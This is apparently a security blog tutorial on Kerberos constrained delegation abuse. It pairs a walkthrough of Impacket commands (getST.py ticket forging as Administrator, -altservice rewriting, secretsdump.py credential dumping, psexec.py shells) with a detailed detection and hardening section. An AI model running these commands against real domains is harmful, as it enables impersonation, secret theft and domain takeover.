Disclaimer. This article is for education and authorized security testing only. Run these techniques exclusively against systems you own or have explicit, written permission to test. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties. The author assumes no liability for misuse.
Introduction / Overview
Kerberos delegation lets a service impersonate a user to a backend service on that user's behalf — for example, a web front end that needs to query a SQL database as the logged-in user. Constrained Delegation (KCD) was Microsoft's answer to the security problems of unconstrained delegation: instead of allowing a service to impersonate users to any service, it restricts delegation to a specific, administrator-defined list of target SPNs.
Unfortunately, "constrained" does not mean "safe." If you compromise the credentials (password hash or AES key) of an account configured for constrained delegation, you can forge tickets to the allowed services as any user you choose, including a Domain Admin. In this article you'll learn exactly how S4U2Self and S4U2Proxy work, how to enumerate msDS-AllowedToDelegateTo, and how to exploit it end-to-end with Impacket's getST.py. We finish with a Blue Team section of equal weight.
If you haven't already, it helps to be comfortable with Kerberoasting and the broader concept of Kerberos delegation.
How it works / Background
Constrained delegation is implemented through two Kerberos protocol extensions, collectively known as S4U (Service-for-User):
- S4U2Self (
KRB_TGS_REQwith aPA-FOR-USERpadata): a service can request a service ticket to itself on behalf of an arbitrary user, without that user's credentials. This is the dangerous primitive — the service essentially asserts "trust me, this user authenticated to me." The resulting ticket is normally flagged forwardable (depending on configuration). - S4U2Proxy: the service presents that forwardable ticket and requests a service ticket to a backend service listed in its
msDS-AllowedToDelegateToattribute, again on behalf of the impersonated user.
The chain works because the KDC checks the requesting account's msDS-AllowedToDelegateTo attribute. It does not verify that the impersonated user ever actually authenticated. So whoever controls the delegating account's keys controls the impersonation.
A critical subtlety: the KDC's S4U2Self may issue a non-forwardable ticket if the target user is marked "Account is sensitive and cannot be delegated" or is a member of Protected Users. There's also the well-known "protocol transition" vs "Kerberos only" distinction — TrustedToAuthForDelegation (the ADS_UF_TRUSTED_TO_AUTH_FOR_DELEGATION user flag, value 0x1000000) controls whether the account can perform protocol transition (S4U2Self for users who never used Kerberos). When it's set, the front-end can impersonate without the user's TGT at all.
Prerequisites / Lab setup
You need:
- A foothold that yields the NT hash or AES key of an account with a non-empty
msDS-AllowedToDelegateTo(a service account, or sometimes a computer account). - Network reachability to the KDC (TCP/UDP 88) and the target backend service.
- Impacket installed (
pipx install impacketorpip install impacket).
For the lab: a single-DC domain corp.local, a service account websvc configured to delegate to cifs/dc01.corp.local and host/dc01.corp.local.
# (Domain Admin) Configure constrained delegation on websvc for the lab
Set-ADUser -Identity websvc -Add @{
'msDS-AllowedToDelegateTo' = @('cifs/dc01.corp.local','host/dc01.corp.local')
}
# Enable protocol transition (S4U2Self for any user)
Set-ADAccountControl -Identity websvc -TrustedToAuthForDelegation $true
Attack walkthrough / PoC
1. Enumerate delegation rights
With domain credentials, hunt for accounts that have msDS-AllowedToDelegateTo populated. BloodHound flags these, but PowerView and ldapsearch are quick:
# PowerView
Get-DomainUser -TrustedToAuth | Select-Object samaccountname,msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object name,msds-allowedtodelegateto
# From Linux with Impacket's findDelegation.py
findDelegation.py corp.local/lowpriv:'Passw0rd!' -dc-ip 10.10.10.10
findDelegation.py neatly prints the account name, the delegation type (Constrained, Constrained w/ Protocol Transition, Unconstrained, or Resource-Based), and the target SPNs.
2. Obtain the delegating account's key
Suppose you Kerberoasted or dumped websvc. You can use either its NT hash or, preferably, its AES256 key (avoids RC4 and is far quieter). Crack to plaintext if you can, or pass the hash directly.
3. Forge a ticket as a privileged user with getST.py
This is the core step. getST.py performs S4U2Self and S4U2Proxy and writes a usable service ticket to a .ccache:
# Using the NT hash of websvc, impersonate Administrator to the CIFS SPN
getST.py -spn cifs/dc01.corp.local \
-impersonate Administrator \
-hashes :2b576acbe6bcfda7294d6bd18041b8fe \
corp.local/websvc -dc-ip 10.10.10.10
# Cleaner: use the AES256 key instead of RC4/NT hash
getST.py -spn cifs/dc01.corp.local \
-impersonate Administrator \
-aesKey 9f9c... \
corp.local/websvc -dc-ip 10.10.10.10
This produces Administrator@cifs_dc01.corp.local@CORP.LOCAL.ccache.
4. Use the ticket
export KRB5CCNAME=Administrator@cifs_dc01.corp.local@CORP.LOCAL.ccache
# Dump secrets over CIFS/DCE-RPC as Administrator
secretsdump.py -k -no-pass corp.local/Administrator@dc01.corp.local
# Or get an interactive shell
psexec.py -k -no-pass corp.local/Administrator@dc01.corp.local
5. The "alternate service name" trick
The KDC does not encrypt the SPN of the S4U2Proxy result in a way that the target service can independently validate the service class — only the host portion matters for ticket validation. This means a ticket obtained for cifs/dc01.corp.local can be rewritten to other services on the same host (e.g., host, http, ldap). Impacket exposes this with -altservice:
# Get a ticket for cifs but rewrite it to ldap (enables DCSync-style attacks)
getST.py -spn cifs/dc01.corp.local -altservice ldap/dc01.corp.local \
-impersonate Administrator -aesKey 9f9c... \
corp.local/websvc -dc-ip 10.10.10.10
So even if the account is only allowed to delegate to cifs, you can pivot to ldap, host, http, etc., on the same machine — dramatically widening impact.
Mermaid diagram

Diagram: the attacker uses the compromised service account's key to request a self-ticket for an arbitrary privileged user (S4U2Self), then exchanges it for a backend-service ticket (S4U2Proxy) and accesses the target as that user.
Detection & Defense (Blue Team)
Defense deserves at least as much attention as the attack.
Hardening configuration
- Protect privileged accounts. Mark Domain Admins and other Tier-0 accounts as "Account is sensitive and cannot be delegated" (
ADS_UF_NOT_DELEGATED, flag0x100000) and add them to the Protected Users group. S4U2Self then cannot produce a forwardable ticket for them, breaking the S4U2Proxy step. - Avoid protocol transition. Prefer "Use Kerberos only" over "Use any authentication protocol" whenever possible — the latter sets
TrustedToAuthForDelegationand removes the requirement for the user's real TGT. - Treat delegating accounts as Tier-0. Any account with
msDS-AllowedToDelegateTois effectively as powerful as the services it can reach. Use long, random passwords or gMSAs (Group Managed Service Accounts) with automatic 30-day rotation, and never run them on low-trust hosts. - Audit regularly. Inventory delegation with
findDelegation.py, BloodHound (Find Computers with Unsupported Operating Systemsand delegation edges), or:
Get-ADObject -Filter {msDS-AllowedToDelegateTo -like '*'} -Properties msDS-AllowedToDelegateTo |
Select-Object Name, msDS-AllowedToDelegateTo
Detection
- Event ID 4769 (Kerberos service ticket requested) is the key signal. S4U requests have a distinctive pattern: the Transited Services field is populated on the S4U2Proxy request. Look for 4769 where the account requesting a ticket for a sensitive SPN (e.g.,
ldap/,cifs/to a DC) is a service account, especially withTransited Servicesnon-empty. - Event ID 4768/4769 anomalies: a service account suddenly requesting tickets as privileged users it has never represented before.
- Correlate
RC4(0x17) ticket encryption types — many delegation abuse tools default to RC4. Forcing/monitoring AES-only helps surface legacy tooling. - Deploy honeytoken delegating accounts and alert on any S4U use.
This maps to MITRE ATT&CK T1558.003 (Kerberoasting feeds it) and the delegation-abuse sub-techniques under T1550.
Conclusion
Constrained delegation is a useful feature with a sharp edge: the security boundary collapses the moment an attacker holds the delegating account's keys, because S4U2Self never validates that the impersonated user actually authenticated. The -altservice trick further means an allowed cifs target effectively grants ldap, host, and friends on the same host. Treat every account with msDS-AllowedToDelegateTo as Tier-0, protect privileged identities with Protected Users and the sensitive flag, and watch Event ID 4769 for S4U patterns. For related reads, see Resource-Based Constrained Delegation.
References
- MITRE ATT&CK — Use Alternate Authentication Material (T1550): https://attack.mitre.org/techniques/T1550/
- MITRE ATT&CK — Steal or Forge Kerberos Tickets (T1558): https://attack.mitre.org/techniques/T1558/
- HackTricks — Constrained Delegation: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/constrained-delegation
- Impacket (getST.py, findDelegation.py): https://github.com/fortra/impacket
- Microsoft — Kerberos Constrained Delegation Overview: https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-constrained-delegation-overview
- Elad Shamir — "Wagging the Dog" (S4U internals): https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html



Comments